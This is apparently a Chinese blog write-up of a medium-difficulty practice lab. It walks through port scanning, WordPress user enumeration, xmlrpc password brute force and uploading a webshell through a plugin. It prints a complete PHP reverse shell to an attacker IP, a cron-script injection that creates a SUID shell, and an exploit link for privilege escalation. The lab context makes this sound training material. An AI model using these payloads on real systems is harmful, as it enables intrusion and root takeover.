当前位置: 首页 > news >正文

靶场(二)---靶场心得小白分享

开始:

看一下本地IP

21有未授权访问的话,就从21先看起

PORT     STATE  SERVICE     VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.49.61
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp   open   tcpwrapped
80/tcp   open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp  open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp  open   tcpwrapped
3306/tcp open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 11
|   Capabilities flags: 63487
|   Some Capabilities: IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, FoundRows, LongPassword, Support41Auth, LongColumnFlag, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions, IgnoreSigpipes, ODBCClient, InteractiveClient, SupportsCompression, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: \x08v\x1EWjPcb"S\x7F&XE\x0FJ>U\x15p
|_  Auth Plugin Name: mysql_native_password
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2025-03-04T00:23:45
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2025-03-04T00:23:45+00:00

连接ftp用get命令下载后,打开note文件发现无太重要的信息,就获得了两个人名,不过还是先做记录万一后续可能需要爆破

接下来我们去看看80端口有什么好玩的新消息,很好看起来需要小小的爆破一下目录,放心源代码里无提示消息,无需关注

开始用dirsearch爆破目录(有人问为啥用dirsearch而不用goubuster,那是因为dirsearch不用带爆破字典少了一个输入命令,所以我基本只有在dirsearch爆不出来什么有效信息时才会启用gobuster),ok,80端口什么也爆不出来,这仨文件也没啥用,现在就剩一个139端口,但是根据我往常的经验139端口如果运气好可能会获得票据,然后ssh或者mysql登录,但是这可是个中等靶场,所以不可能很简单,回忆下我们枚举的的方式可能出在枚举端口上面了,因为那个枚举端口的命令只能到10000,而无法覆盖65535个端口,所以我们需要再枚举一遍端口,看有无新东西产生

OK,果然是没有枚举全端口,导致遗漏了一个http服务的端口,让我们去访问这个端口底下的消息


12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

发现了一个界面,但无功能点,可能需要爆破一下目录,同时网页源代码还是什么都没有无需关注

尝试爆破目录,还是一无所有,反而比80端口更干净了,啥也没爆出来,我这是以为找错了方向

于是我又来看看139端口有没有什么惊喜,发现了两个目录,下载了几个文件结果感觉还是没有收获到什么,我一度陷入了迷茫

 我后来突然想到http协议不行,那https呢,靠背不加不知道,一加吓一跳,出现了一个新的界面,我又重新燃了起来

尝试爆破新页面,看有无收获,果然这个界面可以扫出有用的信息,phpmyadmin暂时不用看,因为没有用户名和密码,我们可以先去看robots.txt文件,看看有没有什么有趣的路径

有两个有趣的路径,那必须挨个访问一下

第一个吃了个闭门羹,不过不要紧我们还有一个路径,接着访问

来到了一个不知道什么东西的界面,点了一下home,跳转到了这个界面

从这里我们大概可以看到一个关键字wordpress,有了wordpress那就必然离不开wpscan,但是光是这一个界面有带你缺乏功能点,我们应该再试着爆破一下,目录底下还有哪些东西可以访问

老样子继续爆目录,这里可以看到许多目录呀,登录口也找到了,那就可以放心的上wpscan了

小小登录口,这就是我们的主要战场了,希望wpscan给点力可以爆出有用的管理员票据

wpscan --url https://192.168.60.148:12380/blogblog/ --disable-tls-checchecks --enumerate u >> 1.txt

我将wpscan扫描的用户输出到一个文本中,方便我们查看,省的界面杂乱无章

这个是我们从之前wpscan枚举出来的用户,一个一个复制下来保存在文件中,然后使用这条命令进行组合爆破xmlrpc界面,原因是xmlrpc对爆破无限制,所以我们的速度会更快

wpscan --url https://192.168.60.148:12380/blogblog/ --disable-tls-checks --usernames name.txt --passwords /usr/share/wordlists/rockyou.txt  --password-attack xmlrpc

这个界面就是普通用户的界面,功能点少的可怜,无法做到getshell

这四个均是普通用户,由于rockyou.txt太大了,我们每减少一个用户他的速度都可以大大提升,所以我们每测出一个用户的票据就从命令中删除一个用户,这样可以大大提高后面爆破的效率

成功结果展示

这个就是管理员账号,是不是截然不同,在这里我们通过上传马子夺取shell

这里我直接分享一下我常用的php马子大家改一下就行

<?phpset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.49.60';  // CHANGE THIS
$port = 8888;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;//
// Daemonise ourself if possible to avoid zombies later
//// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}?> 

然后这里跟我原先htb练的有点小出入,在htb里是直接改404.php然后弹shell,这里没有写的权限,所以只能转战插件了,我们这里用攻击IP加anonymous/anonymous成功上传马子

我们去这里可以看到我们上传的马子,设置好接听端口点击马子即可

这里可以看到我们成功接受到马子,但是shell好像受限了,我们可以使用我下面那条命令美化一下

就是这条命令

python3 -c 'import pty;pty.spawn("/bin/bash")'

然后就是上传linpea.sh进行信息收集,这里我们可以看到一个脚本在运行

然后恰好linpeas告诉我可以修改这个脚本,那不是完美吗

看脚本有一句话,说明这个脚本纯是空的添加任意bash命令即可,可以本地提权,也可以外连

这里我们用这条命令即可,稍等一会儿我们就可以在tmp目录下见到这个执行文件

echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh

 然后几分钟之后既可以看到这个exploit文件

这里直接执行这个exploit文件就是root权限,我这里犯了个傻,用来美化shell的命令,一下子降权了

这里就是错误示范,不要模仿

补充:

这里还有好几个方法可以用来提权,我是没想到在某个用户下的.bash_history文件可读,而且其中还包含着我特别想要的一个用户的密码,因为我感觉这个才是这个靶场想让你提权的方向,因为他在sudo组中,可以直接用sudo提权,那其实也给了我们一种额外的思路当一个靶场存在多个用户,一定要尝试在home目录下枚举他们的./bash_history,说不定会有特殊的惊喜

grep -rn "ssh"

然后同样这个版本Linux还存在CVE-2021-4034提权,我这里给大家列出来了,大家有兴趣的可以去尝试https://github.com/arthepsy/CVE-2021-4034.git

结尾:

这个靶场总结下来其实不是很难,但是可以学到很多东西,比如wordpress可以写马子到插件中进行打点,而不是常规的修改404.php文件,然后提权的话我尝试了挺多方法比如CVE-2021-3056因为这个是覆盖sudo从而进行提权,还有screen提权就是那个1.sh,不过也失败了,这个是我有点不服的因为这个screen版本完美符合我这个脚本,但还是失败了,如果有大佬可以指点我一下,行了其他方面也没啥说的了,这个靶场打了整整一天,心态劳累各位风紧扯呼,我先撤了,下期见

相关文章:

靶场(二)---靶场心得小白分享

开始&#xff1a; 看一下本地IP 21有未授权访问的话&#xff0c;就从21先看起 PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Cant get dire…...

PHP Error处理指南

PHP Error处理指南 引言 在PHP开发过程中,错误处理是一个至关重要的环节。正确的错误处理不仅能够提高代码的健壮性,还能提升用户体验。本文将详细介绍PHP中常见的错误类型、错误处理机制以及最佳实践,帮助开发者更好地应对和处理PHP错误。 PHP错误类型 在PHP中,错误主…...

视频输入设备-V4L2的开发流程简述

一、摄像头的工作原理与应用 基本概念 V4L2的全称是Video For Linux Two&#xff0c;其实指的是V4L的升级版&#xff0c;是linux系统关于视频设备的内核驱动&#xff0c;同时V4L2也包含Linux系统下关于视频以及音频采集的接口&#xff0c;只需要配合对应的视频采集设备就可以实…...

【Manus资料合集】激活码内测渠道+《Manus Al:Agent应用的ChatGPT时刻》(附资源)

DeepSeek 之后&#xff0c;又一个AI沸腾&#xff0c;冲击的不仅仅是通用大模型。 ——全球首款通用AI Agent的破圈启示录 2025年3月6日凌晨&#xff0c;全球AI圈被一款名为Manus的产品彻底点燃。由Monica团队&#xff08;隶属中国夜莺科技&#xff09;推出的“全球首款通用AI…...

Mybatis集合嵌套查询,三级嵌套

三个表&#xff1a;房间 玩家 玩家信息 知识点&#xff1a;Mybatis中级联有关联&#xff08;association&#xff09;、集合&#xff08;collection&#xff09;、鉴别器&#xff08;discriminator&#xff09;三种。其中&#xff0c;association对应一对一关系、collectio…...

thinkphp5.1 在fetch模版就超时

场景 当被渲染模版不存在&#xff0c;请求不响应任何内容&#xff0c;过一会就timeout 排查过程 使用xdebug,追踪代码&#xff0c;发现走到D:\temporary_files\m40285_mini\40285_mini\thinkphp\library\think\exception\Handle.php&#xff0c;进入死循环&#xff0c;一直…...

Dockerfile 深入浅出:从基础到进阶全解析

Dockerfile 深入浅出&#xff1a;从基础到进阶全解析 各位同学&#xff0c;大家好&#xff01;欢迎来到今天的 Dockerfile 课程。Docker 技术在当今的软件开发和部署领域可以说是非常热门&#xff0c;而 Dockerfile 作为构建 Docker 镜像的关键文件&#xff0c;掌握它对于我们…...

CAD2025电脑置要求

Windows 系统 操作系统&#xff1a;64 位 Microsoft Windows 11 和 Windows 10 version 1809 或更高版本。 处理器 基本要求&#xff1a;2.5-2.9GHz 处理器&#xff0c;不支持 ARM 处理器。 推荐配置&#xff1a;3GHz 以上处理器&#xff08;基础&#xff09;&#xff0c;4GHz …...

android App主题颜色动态更换

如何在Android开发中更换主题颜色&#xff0c;现在他们又问了关于动态更换应用主题颜色的问题。看来他们可能在实现过程中遇到了困难&#xff0c;或者需要更详细的动态切换指导。首先&#xff0c;我需要回顾之前的回答&#xff0c;看看是否已经覆盖了动态切换的部分&#xff0c…...

微服务,服务治理nacos,负载均衡LOadBalancer,OpenFeign

1.微服务 简单来说&#xff0c;微服务架构风格[1]是一种将一个单一应用程序开发为一组小型服务的方法&#xff0c;每个服务运行在 自己的进程中&#xff0c;服务间通信采用轻量级通信机制(通常用HTTP资源API)。这些服务围绕业务能力构建并 且可通过全自动部署机制独立部署。这…...

浅论数据库聚合:合理使用LambdaQueryWrapper和XML

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、数据库聚合替代内存计算&#xff08;关键优化&#xff09;二、批量处理优化四、区域特殊处理解耦五、防御性编程增强 前言 技术认知点&#xff1a;使用 XM…...

FastGPT 引申:混合检索完整实例

文章目录 FastGPT 引申&#xff1a;混合检索完整实例1. 各检索方式的初始结果2. RRF合并过程3. 合并后的结果4. Rerank重排序后5. 最终RRF合并6. 内容总结 FastGPT 引申&#xff1a;混合检索完整实例 下边通过一个简单的例子说明不同检索方式的分值变化过程&#xff0c;假设我…...

Socket.IO聊天室

项目代码 https://github.com/R-K05/Socket.IO- 创建项目 服务端项目和客户端项目 安装Socket依赖 服务端 npm i socket.io 客户端 npm i socket.io-client 客户端添加聊天页面 源码 服务端 app.js const express require("express") const app express()co…...

MySQL表中数据基本操作

1.表中数据的插入&#xff1a; 1.insert insert [into] table_name [(column [,column]...)] values (value_list) [,(value_list)] ... 创建一张学生表&#xff1a; 1.1单行指定列插入&#xff1a; insert into student (name,qq) values (‘张三’,’1234455’); values左…...

可狱可囚的爬虫系列课程 16:爬虫重试机制

一、retrying模块简介 在爬虫中&#xff0c;因为我们是在线爬取内容&#xff0c;所以可能会因为网络、服务器等原因导致报错&#xff0c;那么这类错误出现以后&#xff0c;我们想要做的肯定是在报错处进行重试操作&#xff0c;Python提供了一个很好的模块&#xff0c;能够直接帮…...

第十五届蓝桥杯----B组cpp----真题解析(小白版本)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 必看前言&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;一、试题A&#xff1a;握手问题1.题意分析2.代码解答 二、试题B&#xff1a;小球反弹1.题意…...

软考架构师笔记-数据库系统

1.7 数据库系统 三级模式-两级映射 三级模式 外模式&#xff1a;用户视图概念模式&#xff1a;只涉及描述内模式&#xff1a;存储方式的描述 两级映射 外模式-概念模式映射概念模式-内模式映射 数据库的设计 步骤 需求分析 输出为需求分析、数据流图(Data FLow Diagram-DF…...

Spring AI 1.0.0-M6 快速开始(一)

Spring AI 1.0.0-M6 入门一、存储库二、依赖管理完整maven 入门 Spring 是JAVA中我们经常使用的框架之一&#xff0c;Spring AI不断的发展迭代目前已经到M6版本据说上半年会出一个稳定版本。 本节提供了如何开始使用Spring AI的M6。 一、存储库 1.0 M6 -添加Spring存储库 需…...

go 分布式redis锁的实现方式

go 语言以高并发著称。那么在实际的项目中 经常会用到锁的情况。比如说秒杀抢购等等场景。下面主要介绍 redis 布式锁实现的两种高并发抢购场景。其实 高并发 和 分布式锁 是一个互斥的两个状态&#xff1a; 方式一 setNX&#xff1a; 使用 redis自带的API setNX 来实现。能解决…...

Unity中Stack<T>用法以及删除Stack<GameObject>的方法

Unity中Stack用法以及删除Stack的方法 介绍Stack<T>的APIStack<T> 常用方法创建和初始化 Stack<T>Push 和 Pop 操作Stack<T>遍历清空栈检查栈是否包含某个元素 栈的典型应用场景撤销操作深度优先搜索&#xff08;DFS&#xff09;注意事项 总结 介绍 因…...

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…...

Appium+python自动化(十六)- ADB命令

简介 Android 调试桥(adb)是多种用途的工具&#xff0c;该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具&#xff0c;其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利&#xff0c;如安装和调试…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

电脑插入多块移动硬盘后经常出现卡顿和蓝屏

当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时&#xff0c;可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案&#xff1a; 1. 检查电源供电问题 问题原因&#xff1a;多块移动硬盘同时运行可能导致USB接口供电不足&#x…...

C++中string流知识详解和示例

一、概览与类体系 C 提供三种基于内存字符串的流&#xff0c;定义在 <sstream> 中&#xff1a; std::istringstream&#xff1a;输入流&#xff0c;从已有字符串中读取并解析。std::ostringstream&#xff1a;输出流&#xff0c;向内部缓冲区写入内容&#xff0c;最终取…...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现&#xff08;两者等价&#xff09;&#xff0c;用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例&#xff1a; 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

GruntJS-前端自动化任务运行器从入门到实战

Grunt 完全指南&#xff1a;从入门到实战 一、Grunt 是什么&#xff1f; Grunt是一个基于 Node.js 的前端自动化任务运行器&#xff0c;主要用于自动化执行项目开发中重复性高的任务&#xff0c;例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

掌握 HTTP 请求:理解 cURL GET 语法

cURL 是一个强大的命令行工具&#xff0c;用于发送 HTTP 请求和与 Web 服务器交互。在 Web 开发和测试中&#xff0c;cURL 经常用于发送 GET 请求来获取服务器资源。本文将详细介绍 cURL GET 请求的语法和使用方法。 一、cURL 基本概念 cURL 是 "Client URL" 的缩写…...

前端开发者常用网站

Can I use网站&#xff1a;一个查询网页技术兼容性的网站 一个查询网页技术兼容性的网站Can I use&#xff1a;Can I use... Support tables for HTML5, CSS3, etc (查询浏览器对HTML5的支持情况) 权威网站&#xff1a;MDN JavaScript权威网站&#xff1a;JavaScript | MDN...

k8s从入门到放弃之Pod的容器探针检测

k8s从入门到放弃之Pod的容器探针检测 在Kubernetes&#xff08;简称K8s&#xff09;中&#xff0c;容器探测是指kubelet对容器执行定期诊断的过程&#xff0c;以确保容器中的应用程序处于预期的状态。这些探测是保障应用健康和高可用性的重要机制。Kubernetes提供了两种种类型…...